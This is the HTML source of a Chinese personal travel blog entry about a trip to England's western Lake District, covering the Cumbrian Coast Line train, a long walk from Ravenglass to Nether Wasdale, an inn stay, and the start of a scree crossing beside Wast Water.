&lt;p&gt;我坐车时外面阳光普照，体感温度得在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;17&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;度以上。这薄铁皮穿梭于明亮又炎热树丛之间，我时不时有种在非洲的感觉。说起来，在《幻痛》之后，我就没去过非洲了。刚上大学时，我有个学医的朋友表达过毕业后参加无国界医生支援非洲的愿望。现在她仍在读书，不知道还想不想去&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;她告诉我她仍然想去非洲，但近十年不想去当无国界医生了。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_113135593-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_113135593-optim.jpg&quot;
	alt=&quot;在Northen火车里的视角&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;额，现在经过牧场了。这车貌似没有空调，大家把窗户开开了。所以车厢里弥漫着一股牛粪味。还好，很快又把牧场抛在屁股后头了。&lt;&#x2F;p&gt;
&lt;p&gt;这可真不一样，我现在看到的是连绵的群山，不是大土坡。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_124835059.MP-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_124835059.MP-optim.jpg&quot;
	alt=&quot;近景是牧场，远景是群山，上方是蓝天白云&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;再然后经过的是海滩。其实这条从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Carlisle&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Barrow-in-Furness&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的铁路叫做&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Cumbrian
Coast Line——在有些导游书里甚至是游玩项目。但是实际坐起来，磕碜得很。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_123627838-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_123627838-optim.jpg&quot;
	alt=&quot;比较一般的海滩&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h3 id=&quot;Ravenglass&quot;&gt;Ravenglass&lt;&#x2F;h3&gt;
&lt;p&gt;到达&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ravenglass&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后，简单参观了火车博物馆就随便找了家餐厅吃饭。Cumberland
Sausage&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是这片区域的特产，所以我没有点炸鱼薯条，而点了夹这种香肠的三明治&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-2&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-2-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-2-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[2]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-2-content&quot;&gt;其实英格兰的炸鱼薯条和苏格兰的也有区别，两国的默认鱼分别是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cod&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;haddock（我个人更偏好&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cod&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;其实正经做法是把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;50&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;厘米的整根肠盘成蚊香状煎，但那样太大太单一了。所以这趟旅行虽然天天吃这香肠，但每次只吃一小节。味道么，没吃出什么特别的。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_125444726-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_125444726-optim.jpg&quot;
	alt=&quot;R&amp;amp;E.R.铁路的守卫制服&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_130629949-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_130629949-optim.jpg&quot;
	alt=&quot;Ravenglass以前的信号室&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_130829634-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_130829634-optim.jpg&quot;
	alt=&quot;一只大蜥蜴趴在民宅房顶上&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h3 id=&quot;前往Nether_Wasdale&quot;&gt;前往&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Nether Wasdale&lt;&#x2F;h3&gt;
&lt;p&gt;吃完，就开始步行前往我订的旅馆所在地&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Nether
Wasdale——这就是我说的规划失误的地方。说起湖区，大部分人去的是东部的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Grasmere、Keswick、Ambleside&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等等小镇。那里的旅游业也因此更加发达。我因为想要爬&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scafell
Pike，所以选择前往相对欠开发的湖区西部——我说的欠开发，意为没有公交车。&lt;&#x2F;p&gt;
&lt;p&gt;可能因为我在爱丁堡坐公交比打的多，我下意识地以为没有公交车就更没有出租车。这就导致我单独拿出一天时间从通火车的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ravenglass&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;走到离山和湖都更近的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Nether
Wasdale。误以为没有出租车，这是错误其一。&lt;&#x2F;p&gt;
&lt;p&gt;其二是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ravenglass&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;这个站也选错了，如果要步行，我应该在它前面几站的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Seascale&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;下车。Seascale&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;离&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Nether
Wasdale&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;更近，而且途中会经过一个叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Gosforth&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的村子可以歇脚。选择&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ravenglass&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;作为中转站是错误其二——我之所以选它，是因为&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.lakedistrict.gov.uk&#x2F;visiting&#x2F;getting-to-the-lake-district&#x2F;wasdale-shuttlebus&quot;&gt;六月到八月当地有从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ravenglass，途径&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Nether
Wasdale&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wasdale
Head&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的周末班车&lt;&#x2F;a&gt;——为什么不从五月底开始！&lt;&#x2F;p&gt;
&lt;p&gt;总之，当时的我并不知道这些错误，从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ravenglass&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那没几滴水的海岸出发了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_135520788-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_135520788-optim.jpg&quot;
	alt=&quot;干涸的海岸上排列着三条船&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_135707128-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_135707128-optim.jpg&quot;
	alt=&quot;火车桥和旁边的人行桥&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_135722418-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_135722418-optim.jpg&quot;
	alt=&quot;火车桥桥面的构造&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;我首先沿着可以过车的路走。走了大概两个小时，路上只遇到汽车和零星的自行车，让我深刻怀疑自己是不是走在行人禁止通行的路段。到旅馆后查了法规，得知&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.gov.uk&#x2F;guidance&#x2F;the-highway-code&#x2F;rules-for-pedestrians-1-to-35#:~:text=If%20there%20is%20no%20pavement%2C%20keep%20to%20the%20right%2Dhand%20side%20of%20the%20road%20so%20that%20you%20can%20see%20oncoming%20traffic.&quot;&gt;没有人行道时应该对着车来的方向走&lt;&#x2F;a&gt;——嗯嗯，这就是我做的。有个司机路过我后，身体探出车外冲我竖大拇指，还嚷着什么没听清的话。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_142344765-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_142344765-optim.jpg&quot;
	alt=&quot;牧民开着小车，载着边牧赶羊&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_145446582-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_145446582-optim.jpg&quot;
	alt=&quot;某种农业机械在展开自己的轮盘&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_150609998-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_150609998-optim.jpg&quot;
	alt=&quot;树荫里乘凉的羊群&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_152435067-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_152435067-optim.jpg&quot;
	alt=&quot;修剪成松鼠的灌木丛&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_153258845-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_153258845-optim.jpg&quot;
	alt=&quot;小桥流水（Santon Bridge）&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;给车让路让烦了，突然看到一块写着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Public
Footpath&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的牌子。这时我才想起来我有更详细的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ordnance
Survey（OS）地图啊，为什么一直在跟着只有大道的谷歌地图走。遂展开地图，开始研究——发现虽然绕了个远，但可以到我的旅馆。立刻放弃与车争路，跟着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;OS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;走小路！&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_155325447-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_155325447-optim.jpg&quot;
	alt=&quot;拿着OS地图，判断路标指向的Footpath能否把我带到旅馆&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;最初十分钟的路程，那是相当惬意啊。然后路突然变成了散发着臭味的烂泥——那也得过啊。走了许久，突然又变成沼泽了。明明前面几米就是门，我深一脚浅一脚愣是折腾了几分钟。不得不说，鞋还是有必要防水的——感谢卖鞋的店员。过沼泽时袜子没湿，屁股和腿倒因为抬脚时甩出的水湿了。我觉得还是应该再买一套&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Gaiters&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和防水裤，让整个下半身都防水。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_163953738-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_163953738-optim.jpg&quot;
	alt=&quot;走过沼泽之后鞋面上好多脏水&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;然后走着走着，突然看到两个比较大的建筑——咦？这不是我的目的地吗？这一趟走了大概三小时，太阳好到爆炸，我也汗流浃背。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_185805373-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_185805373-optim.jpg&quot;
	alt=&quot;Strands Inn和它背后的高山&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h3 id=&quot;Strands_Inn&quot;&gt;Strands Inn&lt;&#x2F;h3&gt;
&lt;p&gt;房间不错，是我喜欢的单人间。钥匙链也很可爱。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_170024192-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_170024192-optim.jpg&quot;
	alt=&quot;En Suite的室内样子：一张床，一扇窗和一把藤椅&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_170808258-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_170808258-optim.jpg&quot;
	alt=&quot;钥匙和毛线织成的小狗钥匙链&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;p&gt;让我疑惑的是烧水壶的插销该怎么取出来：如图，这个插销的齿绝对比把手的空隙要长，我试了半天也捅不过去——最后发现方向错了，直接往身体这边拽就拿下来了。我一定是走太久晒蒙了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_172206823-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_172206823-optim.jpg&quot;
	alt=&quot;热水壶电源线卡在把手和壶体之间&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;因为今晚的位置都订满了，所以我本打算啃啃包里的能量棒就把晚餐对付过去。但八点左右有空桌子了，那看来还是得正经吃一顿。&lt;&#x2F;p&gt;
&lt;p&gt;这家旅馆有自己酿的酒，其中第一款（07&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年）就是专为犹豫不决人士准备的“Errmmm&lt;span class=&quot;halt&quot;&gt;…&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。所以我就来了一杯“Errmmm&lt;span class=&quot;halt&quot;&gt;…&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。隔壁桌的阿姨跟我说他们家的酒很好喝，&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;对吧&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;”我点头，不过我不怎么喝酒，所以也没法评价。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230530_093141790-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230530_093141790-optim.jpg&quot;
	alt=&quot;吧台上的自酿酒&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;猪肋骨看着大，但我马上就吃干净了。虽然吃饭前也没死，可吃完后更有活着的感觉。可恶啊，我刚才还在发愁&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scafell
Pike&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来回时间是今天徒步的两倍，我能不能坚持下来。要是能在背包里装顿这个，后天从英国走到珠穆朗玛峰都不怕啊。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c16-9&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_191102998-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_191102998-optim.jpg&quot;
	alt=&quot;好大一盘BBQ Pork Rib、沙拉和薯条&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_193934935-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_193934935-optim.jpg&quot;
	alt=&quot;吃完剩下的骨头&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;隔壁桌的儿子在曼彻斯特读大学，和中国学校交换了一年，结果因为疫情所以在家上网课。我乐了，之前只听说有中国人在国内上英国网课，没想到还有反过来的。&lt;&#x2F;p&gt;
&lt;p&gt;这对夫妇是在附近露营的，我看还有人买几罐啤酒就捧出去上车。看来大部分顾客其实不住这里。貌似这个村就这俩饭店。&lt;&#x2F;p&gt;
&lt;p&gt;九点多窗外的山突然红了，我赶紧出去准备拍一幅万山红遍。但是太阳落得很快，等我穿好鞋走到外面，已经只有日落方向能看到红色了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_202323777-EFFECTS-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_202323777-EFFECTS-optim.jpg&quot;
	alt=&quot;晚上，落日染红了村庄西面的天空&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;我想要追，突然想起小学时某次追日全食，朝着心里认定的方向跑了好久——好像至今我都没步行越过那时的终点。我那时看到的，是酒店门外打向招牌的射灯。&lt;&#x2F;p&gt;
&lt;p&gt;走了几步，感觉左腿大腿根疼——这应该是踢沙袋踢的。我走路多了左腿小腿疼，是跑步跑的；右脚小拇指和踝关节不管是站是走都不得劲，是打篮球打的。还是得注意防护，这才第一天，我已经开始后悔没有带一副登山杖了。希望这趟旅行别落下什么新毛病。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;第二天&#x2F;Wast_Water_&amp;amp;_The_Screes&quot;&gt;第二天&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;Wast Water &amp;amp; The Screes&lt;&#x2F;h2&gt;
&lt;p&gt;我十一点睡，但两点就醒了。然后是五点、七点。明明很累，但睡得并不好。可能是因为太兴奋了。早上躺在床上能听到羊叫，某种程度上说，我这也是农家乐了。&lt;&#x2F;p&gt;
&lt;video controls preload=&quot;metadata&quot; style=&quot;width:100%&quot;&gt;
    &lt;source src=&quot;&#x2F;assets&#x2F;PXL_20230528_095917624.TS-scaled.mp4&quot; type=&quot;video&#x2F;mp4&quot;&gt;
    你的浏览器不支持嵌入视频，但你可以&lt;a href=&quot;&#x2F;assets&#x2F;PXL_20230528_095917624.TS-scaled.mp4&quot;&gt;下载&lt;&#x2F;a&gt;下来看。
    视频内容：在岸边向东北方向拍摄的Wast Water
&lt;&#x2F;video&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;p&gt;到了湖边第一件事就是洗鞋。我合理怀疑昨天我踩的泥浆里含有屎，因为很臭。虽然干了以后没味了，但鞋底沾着一坨拿石片抠都抠不出的不明物体还是感觉膈应。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230528_095328938.MP-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230528_095328938.MP-optim.jpg&quot;
	alt=&quot;把鞋直接踩进湖里了，水的边缘有些像荷叶上的水珠放大版&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;今天的行程表面上是观赏&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wast
Water，实则是为明天前往&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scafell
Pike&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;探路。因为昨天让车让烦了，我准备走湖南边的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Footpath。最开始的半小时走起来非常愉快，路虽然窄，但通过性很高。怎么个高法？我被一个只背着水袋跑步的人超了，等我掏出手机他已经跑出去好远了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230528_101028972-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230528_101028972-optim.jpg&quot;
	alt=&quot;45°倾斜的山体上有一道窄路穿过碎石滩，中间有个穿红短袖的人在跑步&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;正“慢慢走，欣赏啊&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;”呢，一道看不出有多长的石头滩突然横亘在我面前。根据地图上来看，这里是有路的。等了等，确实有人从那边过来。他们告诉我这是最难的部分，大概要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;15–20&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟通过。然后到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wasdale
Head&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;营地就只剩一小时的路途。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230528_102833196-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230528_102833196-optim.jpg&quot;
	alt=&quot;看不到路的碎石滩上有对面过来的人&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;心理斗争了一会，我开始摸索着通过。前进了最多五十米，脚下的石块突然开始滑动。这下把我吓坏了：不只害怕自己滑下去，还担心高处的石块也滚下来把我就地掩埋。不过我的身体行动很快：立刻趴在了石头上，手脚并用地寻找稳定的石头。&lt;&#x2F;p&gt;
